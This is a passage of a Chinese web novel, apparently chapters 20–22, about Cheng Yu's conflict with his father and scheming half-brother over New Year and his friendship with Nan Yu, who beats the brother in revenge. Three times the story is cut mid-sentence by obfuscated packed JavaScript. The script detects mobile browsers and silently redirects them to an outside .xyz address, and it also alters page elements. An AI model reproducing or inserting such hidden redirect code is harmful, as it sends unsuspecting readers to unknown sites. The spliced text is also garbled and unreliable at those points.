听到程佑军的声音,王秀敏回头,看到程遇,笑容一下就淡了下来。 “小遇回来了。” 程宿也转身看去,他冲程遇挑了下眉,站在王秀敏身边没有说话。 刘雁花知道上次他和程佑军之间的矛盾还没完全解决,笑着冲他招招手,“小遇,快过来。” “我先回屋了。”程遇冷着张脸越过他们。 程佑军横了他一眼,又要生气,“你什么态度!” 程遇身影消失在门内,程佑军气得不行,王秀敏做样子打圆场,“估计之前让小遇回来读书的事他还没原谅我,我再和他道个歉就是了。” 程佑军的火更盛了,“你道什么歉?你有什么错?要道歉也是他出来道歉!” 程佑军在院子里又是好一顿批判程遇。 程宿往屋子里看着,幸灾乐祸地笑了。 程遇坐在房间里,客厅时不时里传来一阵阵笑声,他从抽屉里掏出来一个MP3,把耳机塞到耳朵里,音乐声盖过外面的声音,他的眉头才舒展下来。 午饭时间,刘雁花过来叫他吃饭,程遇出了房门,王秀敏他们已经坐好了,程宿冲他招手,拍了拍旁边的位置,“哥,来坐这儿。” 他瞥了一眼,没有理他,挑在刘雁花旁边的位置坐下。 程佑军又竖起了眉毛,“小宿,别理他。” 程遇低着头沉默地吃饭,听着他们聊起程佑军的生意。 说到程佑军这次回来过年会不会影响到生意时,王秀敏笑道:“有底下的人在看着,我们回来一段时间也行,况且佑军不放心小遇和你们,小宿也这么久没回来过了,总得认认自家门。” 程宿在一旁说:“对啊,奶奶,我也想你们了。” “想我们了随时可以回来看看。”刘雁花笑眯了眼,又转头看了眼程佑军说,“回来也行,趁着过年歇一段时间,平时也那么累。” 程佑军喝了口酒,看了眼程遇,冷哼了声,“回来连声爸也没听到喊,真不知道累死累活是为了谁。” 程遇顿了下筷子。 程国升皱眉,“行了,少说两句。” 席间氛围冷了不少。 刘雁花给程遇夹了一筷子菜问:“成绩出来了么?” 程遇“嗯”了声。 “考得怎么样?”刘雁花问。 饭桌上的人目光都聚焦到程遇身上。 “736分。”程遇淡声回。 “好!好!”听到成绩,刘雁花乐得不行。 程佑军脸色也缓和不少。 虽然程遇脾气倔,总是跟他对着干,但成绩这方面确实没话说,哪怕是转到这个镇上,学习也没落下来,这给他长了不少面子。 程宿在一旁撇了撇嘴,王秀敏拉了拉他。 程国升看了眼程宿问:“小宿的成绩出来了么?” 程宿:“出来了。” “考得怎么样?” “700分。” 刘雁花乐了,“也考不少呢!” 程佑军瞥了程宿一眼,“他满分1050。” 程宿尴尬的笑了笑。 “也可以了!”刘雁花瞪了程佑军一眼,不满他落了孩子的面子。 王秀敏在一旁开口,“他应该是刚升高一还没太适应,小宿文科好一点,我跟佑军商量过了,下半年文理分科让他学文科,到时候给他请家教补一补。” 程宿不满开口:“我要学理科。” “学什么理科,你理科那么差,还想不想读大学了。”程佑军皱了皱眉。 程宿看了眼程遇,“可是我哥就学的理科。” “那是你哥理科成绩好,”王秀敏拉他,“小宿,听话,学文科。” 程宿理所当然地说:“这个寒假我哥可以给我补习啊!” 他看向程遇,“哥,你寒假给我补补习吧!” 王秀敏有些为难地看了眼程遇,程遇默不作声,表情淡漠。 程国升看了眼程遇,发话:“小遇,帮帮你弟弟吧。” 程遇抬头,“我寒假答应了要帮同学补习。” “那一起呗!”程宿说,“我不会打扰你们,有不会的题了我再问你。” 程遇不说话。 程国升声音抬高了点,“小遇,听话。” 程遇最终点了下头,他看向程宿,程宿一脸得意。 程遇实在呆不下去了,他放下筷子,起身,“我吃饱了,有事出去一趟。” 刘雁花想要缓和两个孩子关系,叫住他,“你去哪?带你弟弟一起去啊,他刚回来哪都不熟悉。” 程宿看了眼王秀敏,王秀敏冲他点头,他快速扒了几口饭,放下碗小跑跟过去,“哥!等等我!” 看着他们离开,王秀敏叹了口气,“希望小遇能和小宿好好相处,小宿还是很喜欢他这个哥哥的。” 刘雁花安慰她,“会的,小遇也是好孩子,矛盾解开了就好了。” 王秀敏“嗯”了一声,垂下眸遮住冷漠的眼神。 程遇出了门,程宿一直跟在他身后,甩也甩不掉。 程遇停下脚步,冷眼看他,“你跟着我干什么?” 程宿耸了耸肩,笑得无辜,“奶奶让你带着我转转。” “滚,别跟着我。”程遇眼神彻底冷下来,看着程宿像看着什么脏东西一样。 程宿挑眉,撕去了在刘雁花和程国升面前的伪装,笑得阴险,“你说如果我现在回去在爸和奶奶他们面前说些什么,他们是会相信我还是相信你?” 程遇握紧了拳,两人之间气氛剑拔弩张,“战争”一触即发。 就在这时,南鱼的声音从侧面传来。 “程遇?” 程遇转身过来,南鱼走到他旁边问:“你在这干嘛?” “准备去找你。”程遇说。 “你好,你是我哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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程遇低头看了一眼,是他和南鱼一起在超市里挑的。 “报酬。”南鱼也拿了一个,撕开包装袋咬了一口。 程遇拿起来,“就这个?” 南鱼翻了个白眼,作势要去夺,“不要给我。” 程遇收了起来,眉眼染了笑意,“要。” “那女人他们在这呆到过完年?”南鱼嚼着牛肉干问。 程遇手捏着牛肉干包装袋,没有打开,“是。” “那还挺烦人的,”南鱼感叹,她看程遇情绪有些低落,脱口而出,“你要不想在家呆的话可以来找我。” 说完,她就有些后悔自己的莽撞。 程遇笑看着她,“可以么?” “嗯……”南鱼眼光有些躲闪,生怕程遇有些误会找补地解释说,“你来的话可以辅导我学习。” “好。”程遇目光柔和。 在南鱼家待了一下午,程遇回到家里。 程宿在客厅里陪着程国升说话,程遇面无表情地回房间。 “小遇,过来,我有话问你。”程国升开口。 程遇对程国升还算尊重,他顿了顿脚步,转身走了过去。 “你跟我说实话,你是不是谈恋爱了?”程国升一脸严肃地看着面前这个寡言少语的孙子问。 程遇下意识地看了一眼运载沙发另一侧的程宿,程遇双手抱肩,一副看好戏的样子。 “没有。”程遇语气平淡。 “那你今天和一个女孩子去了超市。” 程遇低垂着眼,“那个是我同学。” 程国升紧皱的眉头松了松,“你们现在可不是谈恋爱的时候,你再过半年就高三了,现在可是关键时候,要谈恋爱也要等到高考后,知道了么?” “我知道了。” “还有,你今天不应该让小宿自己一个人回来,他是你弟弟,现在对镇上还不太熟悉,你把他自己丢在那怎么能行,下次不能这样了。”程国升对于程遇和程宿之间的关系一向不怎么掺合,两个孩子他说谁谁心里肯定都不舒服。但现在王秀敏在这儿,程遇今天的做法会让他们的关系更僵化。 作为老人,他自然是希望能够家庭和睦。 程遇明白他的意思,只是他希望的这种和睦需要一些牺牲罢了,至于牺牲谁呢,现在一目了然。 他讽刺地笑了下,突然有些释然,“我知道了。” “如果没什么事,我就先回房间了。” 他的背影冷漠决绝,程国升长长地叹了口气。 21. 第 21 章 次日一早,程遇吃过饭回房间拿了资料就准备去找南鱼。 程宿进房间拦住他,看到他手中的资料,“是去找昨天那个女生?” 程遇漠视他,越过他要离开。 程宿靠在门上挡住他的出路,双手插兜挑衅地看他。 “滚开。”程遇眼神逐渐冰冷。 “你没听爷爷昨天说,要你辅导我功课?”程宿抬了抬下巴,“你去哪,我也要去。” 程遇没有说话,只是冷冷地看着他。 程宿轻笑一声,似乎看透了一切,“看来你是喜欢那个女孩儿了。” “也不知道,如果我去追她会怎么样呢?”程宿轻浮的笑,“程遇,你的东西总是那么吸引人。” 程遇隐忍地握拳,眼神有些危险,“别去招惹她。” “招惹了又如何呢?程遇,不管是以前还是现在,你所有喜欢的东西我都要一样一样的抢走,你的朋友,爸爸,爷爷奶奶,”程宿眼里有些兴奋,他舔了下嘴唇,笑了一下,“下一个,就那个女生了。” 从很早之前程宿就是如此,只要是程遇看上的东西他会用各种手段抢走,玩具,钱,包括他认识的一些朋友。 他惯会装作弱势者,对他身边的人挑拨离间,有一些朋友也因此疏远过他。 长此以往,程遇学会了克制自己的欲望,再也不会对任何东西表现出自己的喜好。 “你自愿带我去,还是我现在叫爸和爷爷他们过来,”程宿盯着他,眼中是势在必得的自信,“你选一个。” “选一个?”程遇垂眸低低地冷笑一声,“让我选一个是吧,行,我选。” 下一秒,程遇的拳头落在了程宿的脸上,程宿躲闪不及,被打了个正着。 程遇继续挥拳朝他,程宿往旁边躲,他眯了下眼,拉开门捂着脸大喊,“哥,哥,我错了,我再也不打扰你了,你冷静一下,别动气,容易犯病。” 听到这动静,家里的几个大人都赶紧往这边来。 程佑军赶到这儿,看到的就是程遇朝程宿施暴,程宿一脸害怕地躲闪着他的攻击。 程佑军咬紧牙关,青筋暴起,他把程宿拉到他的身后,对着程遇就是一巴掌。 巴掌的响声在房间回荡,所有人都愣住了。 程遇站在那,面无表情。 一双眼睛漆黑的可怕。 程佑军也意识到自己干了什么,他鼻翼煽动,整张脸阴沉的像压着雷,“你为什么又打你弟弟!” 程遇一句话都不说,他的脊背挺得笔直。 “小遇啊,是怎么回事儿啊,快给我们说说。”刘雁花颤着声音,她朝程遇迈进一步,试图拉他的手,却被程遇躲开。 程遇忽地笑了一下,一脸讽刺,“你还是这样,从来都不问青红皂白地偏向他。” “有时候我真的怀疑,我到底是不是你亲生的。” “如果我妈还在的话,我是不是就不会被这样对待了。” 提及程遇的妈妈,程佑军的身体明显一僵。 程遇冷漠地看了一圈在场的所有人,头也不回地出了门。 少年背影孤独凄凉,绷直的肩膀昭示了他的倔强。 刘雁花抹了抹泪,朝程佑军身上锤了两下,“你打他做什么啊!再怎么说你也不能打他啊!他的身体这个样子,万一犯病了怎么办啊!” 程佑军沉默着不说话,烦躁地从兜里拿了根烟碾在手中。 程宿一脸内疚,“对不起奶奶,都是因为我,我去跟哥道歉,我去看着他。” 说着,程宿也跟着跑了出去。 刘雁花一直抹泪,程国升站一旁紧蹙眉头,满是惆怅。 又一次的,程遇不知道该去哪里。 世界之大,好像没有他称之为家的地方,他只觉得凄凉。 恍惚间,程遇想起南鱼昨天对他说过的话。 ——你要是不想在家呆的话可以来找我。 南鱼,南鱼。 他还有南鱼。 程遇眼神空洞,脚步却不自觉地朝着一个方向走去。 南鱼听到敲门声,她猜到应该是程遇,内心欣喜地去开门。 “你来啦,我刚才还准备——” 她把门拉开,映入眼帘的是程遇红肿的左脸,她脸上的笑容瞬间消失了。 “谁打的?”南鱼压着声音问。 程遇的眼神黯淡,以往散落在黑眸里的光点稀疏破碎。他弓着身,脊背微弯,浑身透着浓厚的化不开的悲伤感。 “南鱼,”程遇沙哑着声音开口,他苦笑一下,“别问了。” “是你爸对不对,是因为程宿?”南鱼深吸一口气,努力克制着自己的情绪。 程遇嘴唇动了动,什么话都没说,眼中带着翻涌的痛苦。 “我去找他!”南鱼怒气上来,就要去找程宿算账。 “南鱼!” 她跑得很快,程遇没拉住她。 没有到程遇家,南鱼在一个路口撞上了程宿。 程宿追得很急,他脸色通红,双手撑着大腿弯腰喘着气问南鱼,“南鱼姐,我哥在哪里?你有看到我哥么?” 听到他声音,南鱼看着他,眼里没有任何温度。 程宿注意到她的脸色不对,意识到什么,换上一副着急的样子,“都是我不好,都是因为我我爸才打的他。南鱼姐,能告诉我我哥在哪么?我要找他道歉。” 南鱼的脸沉了又沉,果然是因为他。 “为什么?”南鱼冷声问。 “都是因为我找我哥问题烦到他了,”程宿叹了口气,“可能他还没原谅我吧。” “他为什么没原谅你。”南鱼声音冷静。 “可能因为上次我哥不小心把我推下楼梯,我爸让他转到这里他就记恨上了我,但我不知道这件事,还是我出院后我爸才给我说的,”程宿故作懊恼的样子,“如果我早点知道我哥转到这里,我说什么也会拦着我爸的。” “你是说,之前程遇把你推下过楼梯?”南鱼目光冷如寒冰。 “啊——是,但是我哥不是故意的,”程宿说,“那个时候他心情不太好,可能我找他说话打扰到他了,我不恨他,那件事都是我的原因。” “我其实也挺难过的,其实我这段时间一直在跟我爸说,让他寒假过后把我哥转回市里,”程宿皱了皱眉,“但我哥觉得我假好心,我也不知道该怎么和他说了。” “他把你推下楼,你真的一点都不恨他?”南鱼盯着程宿的眼睛问。 “他是我哥啊,我怎么会恨他。”程宿摸了下耳朵,一副纯良无害的样子。 南鱼轻声的笑了。 她终于知道了,程遇之前过得是什么日子了。 他在那个家里,从来没被他们当做家人,他的弟弟是披着羊皮的狼,他的爸爸眼盲心瞎,他的继母恨不得他早早死去。 原来啊,从山内镇离开后,他过得这么艰难。 怪不得他会突然从市里转学回来,原来是因为这些乱七八糟的事情。 南鱼垂着眼不知道在想什么,程宿以为她听进去了他若有若无对程遇脾气暴躁的引导,微不可察地弯了下唇。 他接着说,“所以,你能帮我劝劝我哥么?让他跟着我回去。” 南鱼抬起头,身后传来一阵急促的脚步声,南鱼回头,程遇匆忙地往这边赶过来,她看着他,轻声说了句:“他打的是他的左脸。” 程宿不明白南鱼这会儿什么意思,他张张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297020|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口,想要再添油加醋说些什么。 却不曾想,下一秒,南鱼转过身,抬起胳膊,一个巴掌甩在了他的脸上。 “这一巴掌,我替程遇还回去。”南鱼抬着下巴,倨傲地盯着他。 猝不及防,程宿一时愣住了,过了几年,反应过来,脸色涨红,“靠!你他妈有病啊!你敢打我?” 程遇赶到南鱼这里时,看到的就是这样的场景。 南鱼几乎是把程宿按在地上摩擦,她反钳住他的胳膊,把他压在地上,程宿疯狂反抗却挣扎不开。 程宿很久没有受过这种委屈,他咬牙:“你放开我!我跟他之间的事情关你他妈的屁事啊!” 南鱼冷笑出声,对着他的脸又是一个耳光,“这些年你就是这样欺负他的对吧,我以为七年前我给你的教训已经够多了。” 七年前? 程宿脸白了下来,他想起南鱼是谁了。 七年前,他也像今天一样,被一个女生按在地上打。他还记得,那个女生打起架来不要命似的,那是他童年的阴影。 没想到,那个女生就是南鱼。 时隔七年,他变高了,变壮了,可是他还是被她彻底压制。 程宿想不明白。 但他根本不知道的是,在程宿被程佑军保护的很好的时候,南鱼打架是家常便饭,凭着一股劲儿,她从来不输男生。 “向他道歉!”南鱼抓住他的头发,强迫他抬头对着程遇。 程宿冷笑:“不可能!” “啪”的一个耳光在他脸上。 “道歉!” 程宿不说话。 又是一个耳光。 “……” 反复几次,程宿眼睛充血,“我道歉,别打了。” 南鱼放下举在半空中的手,拽着他的衣领往上提了提。 “对、不、起。”程宿从牙缝里挤出这几个字。 程遇站在那,脸上毫无波澜,紧促的呼吸彰显了他此刻不平静的内心。 “以后别让我看到你,我见你一次打你一次。”给了他教训,南鱼冷着脸松开程宿。 程宿从地上立马弹起,他的头发凌乱,脸颊红肿,身上羽绒服好几处被擦破,从洞中飘出几片轻飘飘的绒,裤子上沾上了几块泥,看着格外狼狈。 他喘着粗气,手撑着墙,咬紧牙关死死地看着眼前的两人,眼神凶狠,恨不得冲上去把他们撕碎。 “你给我等着!”程宿后槽牙都快被磨碎了,他的目光困在程遇身上。 南鱼拍拍手,站在一旁嘲讽一笑,“怎么,打不过还要告家长?我还从来没见过你这么没出息的男生,也算是头一个了。” 程宿脸红一阵白一阵,似乎被猜中了内心的想法。 “程宿,我今天在这告诉你,今天的事情和程遇没有一点关系,如果被我知道今天程遇再次因为你被打,那么别怪我对你不客气,你在这里,总有要出门的时间。”南鱼放话威胁。 程宿逃也似的离开了。 南鱼走到程遇面前,轻轻地牵住他的手,冰凉触感让南鱼心头一颤,她柔下神情,扯了扯唇角笑了出来,她说:“程遇,我替你报仇了。” 程遇的眼眶突然有些湿润,他滚动喉结,看着面前的女生。 她的眼眶有些红,眼里满是对他的心疼,她牵强地扯着笑,想要安慰他。 程遇再也忍不住了,他把南鱼扯入怀中,用力地抱紧她,他把下巴压在她的肩上,声音带着压抑的颤抖:“南鱼,谢谢你。” 南鱼觉得她的肩膀好像有些湿了,风一吹,凉凉的。 她抬了抬手,在程遇身上像哄孩子一样轻轻拍了拍。 “没事的,程遇,没事,你还有我。” 22. 第 22 章 那天程遇抱着她了很久。 再抬头时,他苍白的脸上多了一抹红。 南鱼拉着他回家,从水缸里凿了一些冰出来拿布包着敷在他脸上。 奶奶看到他肿得吓人的脸,一脸心疼:“哎哟!这怎么能舍得下手!多好多乖的孩子啊!” 她指挥南鱼,“去,把我抽屉里的药膏拿来给他抹抹!” 南鱼笑得无奈,“奶奶,你那支药膏是擦破皮流血了才能用的,他用不了!” “怎么用不了!快拿出来!”奶奶又开始不讲理。 最近她的状态时好时坏,南鱼已经习惯了。 老太太不乐意,她只能从抽屉里翻出药膏拿了出来。 奶奶抬了抬手,“快给小遇抹上。” 南鱼拿着药膏看了看程遇,叹了口气。 “没事,我自己来吧。”程遇想从她手中接过。 奶奶说:“你看不到!让小鱼儿来!” “我来吧。”南鱼站在程遇面前,她俯下身,与他视线平齐。 “这个药膏没什么用,但也没什么害处,一会涂完你还是拿冰袋敷脸吧,消肿会快一点。”南鱼垂着眸,挤出一些在指尖上,轻轻地往程遇脸上涂。 程遇看着她,她一脸认真,像是生怕弄疼了他,动作很轻很轻。程遇的心像是被羽毛轻轻地刮了一下,有些痒。他忍不住微动喉结,一双眼眸愈发深邃。 涂完,南鱼抽出一张纸擦了下手。 奶奶满意了,笑着问程遇:“怎么样?还疼不疼了?” “药膏挺好用的,已经不疼了,”程遇说,“谢谢奶奶。” “那就好,那就好。”奶奶笑眯了眼。 程遇拿冰块多敷了会儿脸,脸颊红肿消退不少。 “你要回家么?”南鱼坐在他旁边问。 “回。”程遇垂眸,敛去眼底的情绪。 纵然再不想,但有些事情总要去面对。 气氛有些沉重,南鱼拍了一下他的肩膀,笑道:“没事儿,如果程宿再欺负你,你告诉我!我再去揍他!” 程遇弯了下唇,“好。” 或许是南鱼的话起了作用,程宿回去没有告状,这次程遇回去没有人提起程宿被打的事情。 倒是刘雁花心疼地拉着程遇给他讲了一大堆道理。 中午吃饭的时候,程宿已经换了一身衣服,顶着一张肿脸坐在餐桌面前。 刘雁花把米饭盛好放到他面前,一脸心疼:“怎么就撞到墙上了,下次回来小心一点。” 程遇抬眸看了他一眼,他冷哼一声把脸别到一旁。 王秀敏在一旁脸色很不好,意有所指地说:“以后出门注意点,要不然别遇到什么小混混被打了还不敢给我们说。” 被她说中,程宿有些不耐烦,“都说了是撞墙上了。” “以后小心一点,”程国升放下报纸往这边看了一眼,又对王秀敏说,“孩子这么大了,有分寸。” 程宿“嗯”了声,不再说话低头吃饭。 王秀敏也不再好说什么,她只能咽下这口气。 一顿饭她吃的憋屈,程遇倒是自在不少。 经过那天,程宿再也没找过程遇的麻烦。 程遇也不去招惹他,每天吃过饭早早地出门去找南鱼学习。 腊月二十九那天,刘雁花再三叮嘱程遇下午早些回去吃年夜饭。辅导完南鱼功课,在下午四点多的时候程遇起身离开。 南鱼靠在椅子上,看着他收拾东西。 “晚上吃过饭来我家?”南鱼问他。 程遇看了她一眼。 南鱼解释,“刘德旋和刘铁说今晚来找我一起放烟花,你能出来么?” “可以。” “那行,今晚我们等你。”南鱼笑着说。 程遇走后,南鱼进了奶奶房间,房间里开着空调,暖烘烘的,奶奶脱了棉服,只穿了件毛衣坐在床上织着什么东西。 “奶奶,今晚想吃什么菜?”南鱼坐在她的旁边,从旁边拿起毛线帮她团线。 “过年要吃饺子,”奶奶停下手,“小鱼儿想吃什么?奶奶去做!” 南鱼笑着按下她,“奶奶,我已经长大了,今年我来做吧。” 奶奶眯眼看着她,半天了笑笑,苍老的手在她脑袋上摸了又摸,“哎,小鱼儿长大了。” 南鱼最后炒了三道菜,一道红烧鱼,一道芹菜炒腊肠,一道炒青菜。 红烧鱼是奶奶点的,说是年年有鱼。 做好饭,南鱼从房间里拿了串鞭炮出来放,鞭炮放完,奶奶在院子里烧纸。 南鱼站在一旁,听她嘴里念叨着:“满春,玉山,芳英,你们在那边好好的,我和小鱼儿现在都很好,别挂念我们。” 纸灰随着风飘荡到天上,南鱼抬头看着,风声呜咽,仿佛真的有人在回应。 满春是南鱼的爷爷,她从来没有见过他,听奶奶说是他们搬到山内镇前就已经去世了,那是一场洪水带走了他的生命。也是那场洪水,南鱼的爸爸南玉山认识了镇上当时的书记孙福,在孙福的再三邀请下,他们全家搬到了这里。 南鱼对他的爸爸也没有印象,她出生后半年南玉山就因为杀人进了监狱,他杀的人正是孙福,山内镇的人都骂他是白眼狼,恩将仇报。南玉山入狱后,家里只剩下两个女人和一个婴儿,那段时间她们过得很难,有人朝他们家大门泼鸡血,有人站在他家门口骂街,她们成了过街老鼠,几乎不敢出门。还是程伟建经常出入他们家,给他们带菜带生活用品才帮助他们撑过了那段日子。 也是那个时候,奶奶养成了泼辣的性格。 因为总有一个人需要撑起这个家,南鱼的妈妈王芳英在生了南鱼后就身体不好,在南玉山被判处死刑后不久也离开了人世,一时间,这个家只剩下南鱼和奶奶两人。 南鱼被奶奶一手带大,南玉山除了被判处死刑以外,还被判决好几万的赔款。当时的南家,在洪水后凭着仅有的积蓄在这里安了家,奶奶再也拿不出多余的钱来赔偿。内有尚处在襁褓中的南鱼需要养,外有债务需要偿还,奶奶咬着牙,一点一点从牙缝里省钱,没日没夜拼了命的赚钱,他熬白了头发,最终偿还清了债务。 也是从南鱼前两年想着各种办法挣钱以来,奶奶才能得以休息两年。 南鱼从思绪中回过神,奶奶烧完了纸,她抹了抹泪,起身对南鱼说:“小鱼儿,跪下给你爸妈磕个头。” 奶奶把他们的牌位摆了起来,南鱼跪在地上,对着桌子上的几个牌位端端正正地磕了个头。 奶奶眼中泪花闪烁,南鱼心中倒是没太大感觉。 不是她凉薄,只是对于南鱼来说,他们在她生命中的痕迹太少太少,仅仅是存在奶奶的口中,南鱼很难为他们落泪,顶多只是有些悲伤。 在她的心中,奶奶是她唯一的亲人。 磕完头,南鱼和奶奶一起吃了饭。 刚吃完饭没多久,刘德旋和刘铁就带着烟花来找她。 刘德旋举了举手中拿的冲天炮,一脸兴奋,“南姐,看我买到了什么好东西。” 南鱼瞥了一眼他手中握着的东西,语气懒洋洋的,“就这?” “什么叫就这,”刘德旋不满她的态度,他凑到南鱼面前,十分认真地向她展示,“这玩意儿老受欢迎了,我在小卖铺好不容易抢到的!” 刘铁跟在他后面搬来了一箱凤舞九天放在地上,叼着烟笑道:“还从两个小屁孩儿手中抢的。” “喂喂喂!什么叫抢?那明明是两个小孩儿手慢了一步好不好,那能怪我?”刘德旋哼哼两声,十分大方地给南鱼分了几个,“给!咱俩一起玩,不跟刘铁玩。” 刘铁抬眉,“行,那这大烟花你今天也别放了。” “......那可不行!” 两人在一旁斗嘴,南鱼心思却不在这儿,她时不时地低头看眼手机。 刘铁注意到,从旁边搬了个凳子在南鱼身边坐下,“等程遇呢?” 南鱼“嗯”了一声,“他没回我消息,也不知道来不来了。” 南鱼在半个小时前给他发了信息,但程遇一直没回,说实在的,南鱼有点担心。 “南鱼,”刘铁吸了口烟,眯着眼看着角落里的水缸,说,“你觉得我这个人怎么样?” 南鱼偏头看他一眼,有些奇怪,“挺好的啊,你问这个干什么?” “咻——啪!” 院子里突然一阵响,打断了两人的对话。 刘德旋刚放了一个炮,笑嘻嘻地朝他们招手,“你俩坐那干嘛啊?过来一起玩儿啊!南姐!来啊!” 南鱼往开着灯的屋子里看了一眼,起身拿起烟花气呼呼地朝着刘德旋走过去,“刘德旋!你别在院子里放,难打扫死了!” 刘铁弹弹烟灰,看着她的身影,把到嘴边的话又咽了下去。 他们带着烟花到了院子外面,远离树林找了片空地坐了下来。 程遇还没回消息,南鱼有些烦躁,给他发了个地址后就关掉了手机。 南鱼和刘德旋边说边闹一起很快就把买来的各种散装的小烟花放完了,放完后,南鱼去空地休息,刘铁掐灭眼起身,把那箱凤舞九天搬到空地最中央,刘德旋凑过去要帮忙。 南鱼朝他刚才坐的位置上看了一眼,地上好几个烟头。 她若有所思,刘铁心情好像有点不太好。 在她走神时,一道阴影投在她身上,随后,一个人坐在了她的身边。 南鱼看去,是程遇。 他穿了件黑色羽绒服,羽绒服里面是一件白色高领毛衣。 浅淡月光洒下来在他身上,看着他的眉目愈发清冷,像是凌冽寒冬时节山间松针树上的积雪,气质卓绝。 “对不起,我来晚了。” “没事,”南鱼摇摇头,看向不远处摆弄着烟花的两个人,指了指说,“还有最大的一箱没放,不算太晚。” 程遇没说话,他抿着唇坐在那,右手插在兜里,随着她的目光看过去。 刘铁把烟花摆好,刘德旋掏出来火机点燃引线,引线点燃的瞬间,他俩往这边跑了过来。 身后“砰”的一声,烟花飞起,在空中炸开,随即消散。 一下接一下,绽放出五彩斑斓的颜色。 “芜湖!新年快乐!”刘德旋坐在地上,双手比作喇叭放在嘴边,冲着远处的晦暗的山大喊,“新的一年我要暴富!彩票中大奖!” 刘铁拿了根烟在手上,笑着拍了一下他的脑袋,“德行!” 刘德旋嘿嘿一笑。 程遇偏头看向南鱼,南鱼正抬着头看烟花,烟花在她眼中炸开,散落点点星光。 很美。 南鱼很快察觉到程遇一直在看她,她对上他的眼神,摸了摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16304038|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的脸问:“我脸上有什么东西么?” 程遇收回眼神,“没有。” “那你一直看我干嘛?” 没等程遇回答,刘德旋兴奋地朝南鱼问:“南姐!你的新年愿望是什么?” “我的新年愿望啊……”南鱼屈着腿,胳膊撑在脸上,看着天上的烟花,“我希望新的新的一年奶奶身体健康。” “你呢?程遇?”刘德旋又问。 “我希望,我所爱的一切皆顺遂。”程遇静静地开口。 话音落地,南鱼看向他,两人目光相撞空中,在皎洁的月光下,他眸底的温柔几乎漫出眼角,她的心跳加快了两拍。 烟花放完,刘德旋直说自己饿了要加餐吃夜宵。 刘铁把烧烤架搬了过来,准备做烧烤。 南鱼简单准备了点儿菜,几个人就在空地开始烧烤。 刘铁还从车上搬下来一箱啤酒,他看了眼程遇。 程遇没来得及说话,南鱼先替他挡了回去,“他不喝酒。” 刘德旋拖长声音“哦”了声,打趣她,“南姐,你怎么管人家这么多!程遇,你要这么听她的?” 程遇笑了下点头,“嗯,听她的。” 刘德旋又是“哦哦”两声。 他的样子贱兮兮的,南鱼作势要揍他,刘德旋跑得飞快,跑到烤炉旁看刘铁烧烤。 刘铁垂着眼,敛去眼中情绪,把串好的串儿放在炉子上,手法娴熟地刷油刷酱。 刘德旋冲着他比了个大拇指,“铁哥真贤惠,以后谁跟你在一起就有福了。” “不说话没人把你当哑巴。”刘铁从旁边拿了片生菜,塞到他的嘴里。 “对了,南姐,给你讲个八卦。”刘德旋眼睛一亮,冲着南鱼喊。 “什么八卦?”南鱼撩了撩眼皮。 意识到不对的刘铁想阻止刘德旋,但最终没有成功。 “铁哥前天去相亲啦!!” “是么?”南鱼笑了一下,看向刘铁,“相亲怎么样?顺利么?” 刘铁含糊地说:“就那样。” “什么叫就那样?” 刘德旋笑嘻嘻地,“我前天刚好撞见铁哥带着那女生去超市买东西。” “那看起来还不错,是吧,程遇。”南鱼撞了下程遇的胳膊,笑道。 程遇“嗯”了一声,眼眸深邃,“确实不错。” 刘铁脸色有些不好,“瞎说什么,我俩没联系了。” “是没成功?”南鱼意外地挑眉。 “没。” 南鱼好奇的问:“那你喜欢什么样的女生?” 空气中一时沉默了下来,程遇绷紧了唇线,刘铁在一旁一脸兴奋。 烤架上的烤串滋滋作响,刘铁表情隐在深夜里,他低着头,声音平淡:“会抽烟会打架会喝酒的。” 程遇下意识地看向南鱼,但后者只是迟钝地点了点头,笑着调侃:“那你这理想型着实很酷啊!” 刘铁:“……” 程遇暗暗地松了口气。 南鱼看刘铁一脸不想继续说下去的样子,想到刚才察觉刘铁心情不好,以为就是这个原因,也就没有再接着这个话题继续聊下去。 刘铁烤出来的串确实不错,即使已经吃过饭,南鱼也多吃了一点。 吃完收拾好,刘德旋摸着吃得圆溜溜的肚皮,几个人坐在南鱼家守岁。 客厅里放着春晚,他们窝在沙发里,门外鞭炮身后和烟花声交织,他们百无聊赖的盯着上面的倒计时。 随着一声声的倒计时,他们在一阵钟声中迎来了新年。 几个人互道了声新年快乐就回家了,南鱼起身去送,程遇慢悠悠地走在最后面。 刘德旋和刘铁先一步离开,程遇站在大门口没再挪动步子。 南鱼看着他,“你不走?” 程遇墨色的眸子里带着些亮光,眼神波光闪烁,涌着无限温柔。。 “我有礼物要给你。” “什么礼物?”南鱼双手背后,心里有一丝丝的紧张。 程遇从兜里把东西拿出来,递到南鱼面前。 南鱼接过来,拆开包装。 里面是一个崭新的MP3。 南鱼不解,抬头看他。 “你可以用它来听英文单词,我已经把单词下里面了。”程遇一本正经。 南鱼:“……” 她有些好笑,“真是谢谢你对我学习这么上心,送我MP3竟然是为了我学习。” “也不全是……”程遇盯着她的脸,“不喜欢么?” “喜欢,很喜欢,”南鱼把MP3装到兜里,“谢了。” 临走时,程遇交代她了一句,“我走了,你要听到最后。” 南鱼“哦”了声,程遇眸光闪了闪,身影消失在黑暗中。 